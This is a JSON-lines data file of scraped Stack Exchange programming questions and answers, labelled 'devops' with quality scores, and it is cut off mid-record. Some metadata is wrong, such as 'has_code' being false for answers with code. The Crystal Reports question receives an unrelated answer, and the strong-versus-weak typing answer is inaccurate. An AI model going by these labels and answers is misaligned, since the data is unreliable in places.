{"id": "hf_6de49ee10703", "question": "<p>I have this html...</p>\n\n<pre><code>&lt;select id=\"View\" name=\"View\"&gt;\n   &lt;option value=\"1\"&gt;With issue covers&lt;/option&gt;\n   &lt;option value=\"0\"&gt;No issue covers&lt;/option&gt;\n &lt;/select&gt;\n</code></pre>\n\n<p>It won't let me insert code like this...</p>\n\n<pre><code>&lt;select id=\"View\" name=\"View\"&gt;\n   &lt;option value=\"1\" &lt;% ..logic code..%&gt; &gt;With issue covers&lt;/option&gt;\n   &lt;option value=\"0\" &lt;% ..logic code..%&gt; &gt;No issue covers&lt;/option&gt;\n &lt;/select&gt;\n</code></pre>\n\n<p>So whats the best way to set one to selected?</p>\n\n<p>Update:\nWithout using the HTML Helpers.</p>\n", "question_body": "", "answer": "The \"best\" approach is probably to\nuse\nthe helpers:\n```\n```\nvar selectList = new SelectList(data, \"ValueProp\", \"TextProp\", data[1].ValueProp);\n... Html.DropDownList(\"foo\", selectList)\n```\n```\nWhere \"data\" could be an array of anonymous types, such as:\n```\n```\nvar data = new[] {\n  new {Key=1, Text=\"With issue covers\"},\n  new {Key=0, Text=\"No issue covers\"}\n};\n// todo: pick the selected index or value based on your logic\nvar selectList = new SelectList(data, \"Key\", \"Text\", data[1].Key);\nWriter.Write(Html.DropDownList(\"foo\", selectList));\n```\n```\nAnother approach might be to select the correct item client-side through script, but obviously that only works with script enabled.\nNote it was missing comma and semicolon in data declaration, stopped it from working", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.598357"}
{"id": "hf_4581b26fc5f7", "question": "<p>Let's say that I have a record in the database and that both admin and normal users can do updates.</p>\n<p>Can anyone suggest a good approach/architecture on how to version control every change in this table so it's possible to roll back a record to a previous revision?</p>\n", "question_body": "", "answer": "I think you are looking for versioning the content of database records (as StackOverflow does when someone edits a question/answer). A good starting point might be looking at some database model that uses\nrevision\ntracking.\nThe best example that comes to mind is MediaWiki, the Wikipedia engine. Compare the database diagram\nhere\n, particularly the\nrevision table\n.\nDepending on what technologies you're using, you'll have to find some good diff/merge algorithms.\nCheck\nthis question\nif it's for .NET.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.632898"}
{"id": "hf_c4c80571cc29", "question": "<p>Searched stackoverflow for this and found no answer</p>\n\n<p>Coming from Ruby On Rails and Rspec, I need a tool like rspec (easier transition). Installed it through PEAR and tried to run it but it's not working (yet)</p>\n\n<p>Just wanna ask around if anyone's using it have the same problem, since it's not running at all</p>\n\n<p>tried running it with an example from the manual - <a href=\"http://dev.phpspec.org/manual/en/before.writing.code.specify.its.required.behaviour.html#id569490\" rel=\"nofollow noreferrer\">http://dev.phpspec.org/manual/en/before.writing.code.specify.its.required.behaviour.html</a></p>\n\n<pre><code>phpspec NewFileSystemLoggerSpec\n</code></pre>\n\n<p>returns nothing</p>\n\n<p>even running</p>\n\n<pre><code>phpspec some_dummy_value\n</code></pre>\n\n<p>returns nothing</p>\n", "question_body": "", "answer": "I also couldn't get it to run, but you can also use BDD with PHPUnit. Check the\ndocumentation\n:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.762026"}
{"id": "hf_f1770fe28710", "question": "<p>I have a site with over 100 pages. We need to go live with products that are soon available, however, many site pages will not be prepared at the time of release.</p>\n\n<p>In order to move forward, I would like to reference a \"coming soon\" page with links to pages that are current and available.</p>\n\n<p>Is there an easy way to forward a URL to a Coming Soon page?\nIs this valid, or is there a better way?</p>\n\n<p>Found this at:\n<a href=\"http://www.web-source.net/html_redirect.htm\" rel=\"nofollow noreferrer\">http://www.web-source.net/html_redirect.htm</a></p>\n\n<p>\"Place the following HTML redirect code between the  and  tags of your HTML code.</p>\n\n<pre><code>   meta HTTP-EQUIV=\"REFRESH\" content=\"0; url=http://www.yourdomain.com/index.html\"\n</code></pre>\n\n<p>Does this negatively affect you if the search engines crawl through your site?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Perhaps a better or \"more correct way\" would be to do the redirection at the header level. Using PHP, you would call\n```\n```\n<?php\nheader(\"Location: http://www.yourdomain.com/index.html\");\n```\n```\nThere's also ways to do this in Apache (assuming you are using it) and\n```\n.htaccess\n```\n-files. See\nhttp://www.webweaver.nu/html-tips/web-redirection.shtml\nfor more info about that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.819489"}
{"id": "hf_954f2809a727", "question": "<p>Please, I am new to webparts and I need help!!</p>\n\n<p>I have a custom web part that I created. I added MS Ajax to it using an UpdatePanel which works fine. I add all my controls to the CreateChildControls method. As soon as I add a UpdateProgress control my page breaks with the following error:</p>\n\n<p>Script controls may not be registered before PreRender</p>\n\n<p>I do not use the OnPreRender event as what other posts suggest. Please, if anyone can give me advice it will be very much appreciated.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You might have forgotten to call the base method of an overrided event, which is not necessarily the OnPreRender event.\nCheck if the OnInit or OnLoad events are calling their base.On[...] method, e.g.:\n```\n```\nprotected override void OnLoad(EventArgs eventArgs)\n{\n    base.OnLoad(eventArgs);\n\n    // your code...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.859979"}
{"id": "hf_f59cb3a18de5", "question": "<p>There is a SqlServer2000 Database we have to update during weekend.</p>\n\n<p>It's size is almost 10G.</p>\n\n<p>The updates range from Schema changes, primary keys updates to some Million Records updated, corrected or Inserted.</p>\n\n<p>The weekend is hardly enough for the job.</p>\n\n<p>We set up a dedicated server for the job, \nturned the Database SINGLE_USER\nmade any optimizations we could think of: drop/recreate indexes, relations etc.</p>\n\n<p>Can you propose anything to speedup the process?</p>\n\n<p>SQL SERVER 2000 is not negatiable (not my decision). Updates are run through custom made program and not BULK INSERT.</p>\n\n<p>EDIT:</p>\n\n<p>Schema updates are done by Query analyzer TSQL scripts (one script per Version update)</p>\n\n<p>Data updates are done by C# .net 3.5 app.</p>\n\n<p>Data come from a bunch of Text files (with many problems) and written to local DB.</p>\n\n<p>The computer is not connected to any Network.</p>\n", "question_body": "", "answer": "What exactly does this \"custom made program\" look like? i.e. how is it talking to the data? Minimising the amount of network IO (from a db server to an app) would be a good start... typically this might mean doing a lot of work in TSQL, but even just running the app on the db server might help a bit...\nIf the app is re-writing large chunks of data, it might still be able to use bulk insert to submit the new table data. Either via command-line (bcp etc), or through code (\n```\nSqlBulkCopy\n```\nin .NET). This will typically be quicker than individual inserts etc.\nBut it really depends on this \"custom made program\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.906447"}
{"id": "hf_14043a31f562", "question": "<p>I am developing an .net application which heavely depends on plugins. The application itself contains an connection to a remote server.</p>\n\n<p>Recently I digged into Application domains and see them as the ideal solution for isolating the plugin code from the rest of the application. </p>\n\n<p>However there is one big disadvantage which makes me unable to implement the application domains for hosting the plugins. It seems there is no way to pass an object by reference to another application domain which is needed to pass an reference to the connection object. </p>\n\n<p>I was hoping someone could give me a workaround so I can pass an reference to that object.</p>\n\n<p>Note: Creating a proxy is out of the question, the connection layer already acts as a proxy since the classes are auto generated.</p>\n\n<p>Note2: System.AddIn can not be used as it is not available on the compact framework.</p>\n", "question_body": "", "answer": "Have you tried deriving from\nMarshalByRefObject\n? It's a pain in that it screws up your inheritance hierarchy, but I think it's what you want.\nFrom the docs:\nMarshalByRefObject is the base class\n  for objects that communicate across\n  application domain boundaries by\n  exchanging messages using a proxy.\n  Objects that do not inherit from\n  MarshalByRefObject are implicitly\n  marshal by value. When a remote\n  application references a marshal by\n  value object, a copy of the object is\n  passed across application domain\n  boundaries.\nMarshalByRefObject objects are\n  accessed directly within the\n  boundaries of the local application\n  domain. The first time an application\n  in a remote application domain\n  accesses a MarshalByRefObject, a proxy\n  is passed to the remote application.\n  Subsequent calls on the proxy are\n  marshaled back to the object residing\n  in the local application domain.\nTypes must inherit from\n  MarshalByRefObject when the type is\n  used across application domain\n  boundaries, and the state of the\n  object must not be copied because the\n  members of the object are not usable\n  outside the application domain where\n  they were created.\nIn my experience, it can be pretty limiting - you really need to do as little as possible across the AppDomain boundary, preferrably restricting yourself to operations which only require primitive types, strings, and arrays of both. This may well be due to my own inexperience in working with multiple AppDomains, but it's just a warning that it's a bit of a minefield.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.955289"}
{"id": "hf_fa2305661a60", "question": "<p>We have a JavaEE server and servlets providing data to mobile clients (first JavaME, now soon iPhone). The servlet writes out data using the following code:</p>\n\n<pre><code>DataOutputStream dos = new DataOutputStream(out);\n\ndos.writeInt(someInt);\n\ndos.writeUTF(someString);\n</code></pre>\n\n<p>... and so on</p>\n\n<p>This data is returned to the client as bytes in the HTTP response body, to reduce the number of bytes transferred.</p>\n\n<p>In the iPhone app, the response payload is loaded into NSData object. Now, after spending hours and hours trying to figure out how to read the data out in the Objective-C application, I'm almost ready to give up, as I haven't found any good way to read the data into NSInteger and NSString (as corresponding to above protocol)</p>\n\n<p>Would anyone have any pointers how to read stuff out from a binary protocol written by a java app? Any help is greatly appreciated!</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The main thing is to understand the binary data format itself. It doesn't matter what's written it, so long as you know what the bytes mean.\nAs such, the docs for\nDataOutputStream\nare your best bet. They specify everything (hopefully) about what the binary data will look like.\nNext, I would try to basically come up with a class on the iPhone which will read the same format into appropriate data structure. I don't know Objective C at all, but I'm sure that it can't be too hard to read 4 bytes, know that the first byte is the most significant (etc) and do appropriate bit-twiddling to get the right kind of integer. (Basically read a byte, shift it left 8, read the next byte and add it into the result, shift the whole lot left 8 bits, etc.) There may well be more efficient ways of doing it, but get something that works first. When you've got unit tests around it all, you can move onto optimising it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:48.990503"}
{"id": "hf_5bdb2c039e91", "question": "<p>Please let me know how can I remove default banner of web server from response - Apache http1.1 coyote</p>\n", "question_body": "", "answer": "If you're talking about the generated line at the bottom of apache generated pages, you have to update your httpd.conf with this command:\n```\n```\nServerSignature Off\n```\n```\nSee\nhttp://httpd.apache.org/docs/2.2/mod/core.html#serversignature\nBe careful, theses informations are also sent through HTTP headers. You can alter them via this\ndirective\nAbout Coyote, AFAIK there is no key to hide these info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.052393"}
{"id": "hf_72ab1d9a24cd", "question": "<p>I ask this question in anticipation as part of a project. I have experience of developing and consuming web services in the past and am au fait with those. However I have been told that as part of this next project I will need to use \"secure\" web services. Can you provide some insight into what additional development tasks there will be to implement these as opposed to standard dare i say it insecure web services?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "If your going to be using WCF, check out these guide lines on\nMSDN\nExising ASMX Web Service can be secured using\nWeb Services Enhancements (WSE) 3.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.075524"}
{"id": "hf_de51acada16e", "question": "<p>Is it possible (and if yes, how) to bypass DNS when doing a HTTP request ?</p>\n\n<p>I want to hit directly a front-end with an HTTP request, without getting through NLB but with the correct host header. \nAs I have the IP of my server, I just need to bypass the DNS.</p>\n\n<p>I tried to use WebRequest, replacing the URL with the IP and setting the Host header, but this header is protected.</p>\n\n<p>How can I do that ? Do I need to create the HTTP request myself ?</p>\n\n<p>Note: editing host file is not an option</p>\n", "question_body": "", "answer": "At the time this question was asked this was not possible to do with the WebRequest class. However following a Microsoft Connect issue raised as a result of this question, Microsoft Added the Host property to the HttpWebRequest class in .Net version 4.0. As such if you are using .net 4.0 or later you can achieve what you want with this code.\n```\n```\nHttpWebRequest request = (HttpWebRequest)WebRequest.Create(\"http://127.0.0.1\");\nRequest.Host = \"www.example.com\"\n```\n```\nPrior to version 4 of .Net the only real option is to open a Socket and do the HTTP request yourself or find a 3rd Party component that has more functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.098469"}
{"id": "hf_e3537ac43ad8", "question": "<p>I try <code>Request.Form.Set(k, v)</code> but it's throwing exception </p>\n\n<blockquote>\n  <p>Collection is read-only</p>\n</blockquote>\n", "question_body": "", "answer": "The form is a representation of what the client sent in the request. What is it you want to do? Personally, I would try to separate the \"read the form\" code from the \"do something with the values\" code - that way, you can do any pre-processing early on (when reading from the form), and none of the later code needs to know about what was\nactually\nsent - it just takes the values given to it (i.e. it never talks to the request directly).\nIt also means you can test your logic without the need for a form, or even an http-request at all.\nActually, ASP.NET MVC will do a lot of this (the above paragraph) for you...\nNote that you can update the .Items collection - but this is a bit more vague (i.e. it doesn't relate specifically to the form).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.125456"}
{"id": "hf_823a92b5d5d3", "question": "<p>I'm working with C and through a socket I will be receiving a message with one space in it, I need to split the string into parts at the space. How would I go about doing this?</p>\n", "question_body": "", "answer": "strtok_r\nis your friend.\nDon't use plain\n```\nstrtok()\n```\n, as it's NOT thread-safe.\nEven on platforms where it is thread-safe (because the state is held in Thread-Local Storage), there is still the problem that the use of internal state means you cannot parse tokens from several strings simultaneously.\nfor example, if you write a function which uses\n```\nstrtok()\n```\nto separate string A, your function cannot be called within the loop of a second function which is using\n```\nstrtok()\n```\nto split string B.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.183182"}
{"id": "hf_8c36ffdf6f0e", "question": "<p>Are there any guidelines/best practices for deciding what type of data should be stored in the database?</p>\n\n<p>For ex., is it ok to use database to store</p>\n\n<ol>\n<li>Application logs </li>\n<li>Configuration details (like server IP addresses etc.)</li>\n<li>System information (e.g., names of shell scripts, scheduling information for batch jobs, batch jobs status etc.)</li>\n</ol>\n\n<p>I have seen applications that use database for storing these. Is this acceptable? What are the pros and cons of such a design?</p>\n", "question_body": "", "answer": "To answer this question we have to understand what database storage provides that isn't available in say, flat file storage.\nsecurity - You can store stuff and be sure that updates, deletes and views would be controlled\naudit - you can keep track of who made changes and when\ndistributed servers - if you have multiple application servers accessing a single database, you avoid storing the same data in multiple places\nIf these are desirables for your data, it's a good idea to store them in the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.206783"}
{"id": "hf_381dbba13ac4", "question": "<p>I am using Crystal Reports 10.  In the report I have two prompts.</p>\n\n<p>How can I give this report to users such that they can enter the parameters on the web?</p>\n\n<p>Thx in advance,\nS.Gyazuddin</p>\n", "question_body": "", "answer": "Some ideas that may smooth the process :\nTalk to the developers directly and ask if they have any specific requirements. Different platforms have different needs and requirements. Communication is important.\nGet the basics of good HTML and CSS down. There are many references but you can try\nA  List Apart\nas a starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.253533"}
{"id": "hf_5f93370c6ffa", "question": "<p>What is the best way to convert from Pascal Case (upper Camel Case) to a sentence.</p>\n\n<p>For example starting with</p>\n\n<pre><code>\"AwaitingFeedback\"\n</code></pre>\n\n<p>and converting that to</p>\n\n<pre><code>\"Awaiting feedback\"\n</code></pre>\n\n<p>C# preferable but I could convert it from Java or similar.</p>\n", "question_body": "", "answer": "Pseudo-code:\n```\n```\nNewString = \"\";\nLoop through every char of the string (skip the first one)\n   If char is upper-case ('A'-'Z')\n     NewString = NewString + ' ' + lowercase(char)\n   Else\n     NewString = NewString + char\n```\n```\nBetter ways can perhaps be done by using regex or by string replacement routines (replace 'X' with ' x')", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.277110"}
{"id": "hf_c0c840a5b091", "question": "<p>Can someone tell me what Strong typing and weak typing means and which one is better?</p>\n", "question_body": "", "answer": "Weak typing means that you don't specify what type a variable is, and strong typing means you give a strict type to each variable.\nEach has its advantages, with weak typing (or dynamic typing, as it is often called), being more flexible and requiring less code from the programmer. Strong typing, on the other hand, requires more work from the developer, but in return it can alert you of many mistakes when compiling your code, before you run it. Dynamic typing may delay the discovery of these simple problems until the code is executed.\nDepending on the task at hand, weak typing may be better than strong typing, or vice versa, but it is mostly a matter of taste. Weak typing is commonly used in scripting languages, while strong typing is used in most compiled languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.300014"}
{"id": "hf_de436187f472", "question": "<p>This might be a silly question:</p>\n\n<ul>\n<li>Does HTTP ever use the User Datagram Protocol? </li>\n</ul>\n\n<p><strong>For example:</strong> </p>\n\n<blockquote>\n  <p>If one is streaming MP3 or video  using HTTP,  does it internally use UDP for transport?</p>\n</blockquote>\n", "question_body": "", "answer": "Typically, no.\nStreaming is seldom used over HTTP itself, and HTTP is seldom run over UDP. See, however,\nRTP\n.\nFor something as your example (in the comment), you're not showing a protocol for the resource. If that protocol were to be HTTP, then I wouldn't call the access \"streaming\"; even if it in some sense of the word is since it's sending a (possibly large) resource serially over a network. Typically, the resource will be saved to local disk before being played back, so the network transfer is not what's usually meant by \"streaming\".\nAs commenters have pointed out, though, it's certainly possible to really stream over HTTP, and that's done by some.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.346178"}
{"id": "hf_6eeb1b6e6ae1", "question": "<p>I am looking for a redistributable component to convert HTML to PDF.</p>\n\n<p>I would - at the moment - like to avoid using a \"PDF printer\", as this requires a printer installation and some user \"playing around\" in the printers panel might break that feature.</p>\n\n<p>The HTML is available in a Browser control or as external file. The HTML is normally fairly simple, but customers can create their own templates, so a \"good range\" of HTML should be supported.</p>\n\n<p>Should be accessible for an automated process from C++ - DLL / COM / external executable with command line support are all fine. </p>\n\n<p>Commercial is fine, but in the thousands is not an option right now.</p>\n\n<p>So, which components do you know or can you recommend?</p>\n", "question_body": "", "answer": "You might want to have a look at\nPDFReactor", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.369696"}
{"id": "hf_89874e07583f", "question": "<p>Part of my application maps resources stored in a number of locations onto web URLs like this:</p>\n\n<pre><code>http://servername/files/path/to/my/resource/\n</code></pre>\n\n<p>The resources location is modelled after file paths and as a result there can be an unlimited level of nesting. Is it possible to construct an MVC route that matches this so that I get the path in its entirety passed into my controller? Either as a single string or possibly as an params style array of strings.</p>\n\n<p>I guess this requires a match on the files keyword, followed by some sort of wildcard. Though I have no idea if MVC supports this. </p>\n", "question_body": "", "answer": "A route like\n```\n```\n\"Files/{*path}\"\n```\n```\nwill get the path as a single string. The\n```\n*\n```\ndesignates it as a wildcard mapping and it will consume the whole URL after\n```\n\"Files/\"\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.448359"}
{"id": "hf_a170bb9015cc", "question": "<p>Is there a way to mount a folder on the hard disk as a device in Finder. The intend here is to provide the user with an easy way to get to a folder that my application uses to store data. I don't want my user to go searching for data in Application Data. I would rather allow them to make this data available as a mounted volume or device in Finder. I would also like this volume or device to be read/write, so that if the user makes any changes to the data files, the changes will get reflected in the original folder.</p>\n\n<p>Is there a way to do this in cocoa, carbon or applescript.</p>\n", "question_body": "", "answer": "Try looking into FUSE.  You can have all sorts of psuedo filesystems with that.\nBut I'd caution a little against what you are trying to do.  It may make more sense to just have a button that opens the folder in your application, rather than create a new device.  I personally would find it hard to continue to use an application that does such a thing.  It doesn't really fit with the rest of the available applications.\nYou could also use an alias to point to your Application Data directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.470954"}
{"id": "hf_4edf0a89a5da", "question": "<p>I try to migrate a Windows SVN Server to Linux.<br>\nI have configured Apache to validate against AD for Useraccess so only AD Users can logon.<br>\nNow i have to set permissions for repositories with authz files.<br>\nWhen i set permission with AD username it works, but AD groups it doesn't.</p>\n\n<p>The authz file looks like the following:</p>\n\n<pre><code>[test:/]\nuser1=rw   #That works\n\n[test2:/]\n@usergroup=rw  #No access for the groupmembers\n</code></pre>\n\n<p>When I create groups inside the authz file and asign AD users, that internal group works fine, but i can't administer groups in 2 locations, there just to much changes made every day.</p>\n\n<p>Has anyone an idea, how to use AD groups inside authz files?</p>\n", "question_body": "", "answer": "You can't automatically use AD groups inside the authz files.\nA possibile solution could be writing a script that query the AD for the groups and their member users and writes the correct authz file, defining also the groups themselves.\nThe final output shuold be something like:\n```\n```\n[groups]\nusergroup = user1, user2, user3\n\n[test:/]\nuser1 = rw\n\n[test2:/]\nusergroup = rw\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.499765"}
{"id": "hf_250475de9412", "question": "<p>How does the C/C++ compiler manipulate the escape character [\"\\\"] in source code? How is compiler grammar written for processing that character? What does the compiler do after encountering that character?</p>\n", "question_body": "", "answer": "Most compilers are divided into parts: the compiler front-end is called a\nlexical analyzer\nor a scanner. This part of the compiler reads the actual characters and creates tokens. It has a state machine which decides, upon seeing an escape character, whether it is genuine (for example when it appears inside a string) or it modifies the next character. The token is output accordingly as the escape character or some other token (such as a tab or a newline) to the next part of the compiler (\nthe parser\n). The state machine can group several characters into a token.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.523171"}
{"id": "hf_074ee3280c98", "question": "<p>I have an app that needs to handle very large strings between a SQL Server database and .NET code. I have a LINQ query that generates the strings when saving them <i>to</i> the database, but when trying to create the strings <i>from</i> the database, the app crashes with an OutOfMemoryException because of the size of the strings.</p>\n\n<p>Do I have to do something to make the LINQ generated code avoid that? Using some kind of compression might be an option, but would like to avoid that for performance reasons.</p>\n", "question_body": "", "answer": "What do you call \"very large\"? And what is the string? CLOB? BLOB? xml?\nI suspect you should be using things like\n```\nExecuteReader()\n```\n, which (via\n```\nIDataReader\n```\n) exposes methods for reading such columns in chunks:\n```\n```\nusing (var reader = cmd.ExecuteReader(\n            CommandBehavior.SequentialAccess)) {\n            char[] buffer = new char[8040]; // or some multiple (sql server page size)\n            while (reader.Read()) {\n                long dataOffset = 0, read;\n                while((read = reader.GetChars(colIndex, dataOffset, buffer, 0, buffer.Length)) > 0) {\n                    // process \"read\"-many chars from \"buffer\"\n                    dataOffset += read;\n                }\n            }\n        }\n```\n```\nObviously with xml you might want an\n```\nXmlReader\n```\nvia\n```\ncmd.ExecuteXmlReader()\n```\n.\nUpdated re LINQ comment (now deleted):\nTo use\n```\nIDataReader\n```\ndirectly from LINQ-to-SQL, I expect the closest you can get is\n```\nctx.GetCommand()\n```\n, passing it a query. You would then use\n```\nExecuteReader\n```\nor\n```\nExecuteXmlReader\n```\nas above. I don't know much about EF...\nIf you give an example of the type of query that is failing, there might be some tricks possible - for example, if you are filtering or selecting subsets of the xml, there are things you can do in SQL/XML - perhaps in a UDF called via LINQ-to-SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.565442"}
{"id": "hf_2bcc4cd06701", "question": "<p>If a user requests a large file from an Apache web server, but cancels the download before it completes, is this logged by Apache?</p>\n\n<p>Can I tell from the log file which responses were not sent fully, and how many bytes were sent?</p>\n", "question_body": "", "answer": "Yes. If I remember correctly, it will show the amount of bytes transferred before the download was interrupted. You could then work out how many bytes should have been sent for that request and compare.\nIf you're using PHP (as the question was tagged a minute ago), you could probably do some sort of response buffer, where you chunk out the file in smaller bits. Start off by working out how many chunks you need to send, write a log (to db, or the syslog) to say you've started and once you hit the final chunk, another to say you've finished (or delete the first).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.637100"}
{"id": "hf_dfaa0267cb0b", "question": "<p>In Sharepoint, is it possible to deny regular users the possibility of removing web parts and/or web part zones? If yes; how?</p>\n", "question_body": "", "answer": "The options to deny users from closing/moving a web part are in the 'Advanced' section of the web part's tool pane in sharepoint (Accessed via the 'Modify Shared Web Part' option in the web part's menu).\nAlternatively you can modify the permission levels for the site (Site settings > Permissions > Settings > Permission Levels) and remove the 'Add/Remove personal web parts' and 'Update personal web parts' permissions from the levels your users run as.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:49.698979"}
{"id": "hf_294aa471652f", "question": "<p>I've got a DataTable containing a sitemap hierarchy with the following columns:</p>\n\n<ul>\n<li>ItemId</li>\n<li>ParentId</li>\n<li>Name</li>\n<li>Url</li>\n</ul>\n\n<p>I need to generate a set of nested lists in HTML (left the anchor elements out for clarity):</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;Item 1&lt;/li&gt;\n&lt;li&gt;Item 2&lt;/li&gt;\n    &lt;ul&gt;\n    &lt;li&gt;Sub Item 1&lt;/li&gt;\n    &lt;li class=\"current\"&gt;Sub Item 2&lt;/li&gt;\n    &lt;/ul&gt;\n&lt;li&gt;Item 3&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>The tree should only contain branches that lead to the 'current' node/page (so using the above example any child items that Item '1' or '3' have are not displayed. Can anyone help out with some pseudo code / code example that can traverse the tree from the leaf to root building the HTML as it goes? Thanks.</p>\n", "question_body": "", "answer": "I made something similar, it might not be that efficient but its easy to debug.\nFind path to selected node.\nAdd rootnodes to list.\nFind node in list which is in path.\nAdd all childern to this node.\nFind next node in path.\nRepeat 4-5 until at selected node, and if not at leaf add selected nodes childern as well.\nAlternative:\n1. Find selected node, print this and all siblings\n2. Print parent and all siblings around the string from 1.\n3. Repeat 2 until at root.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, 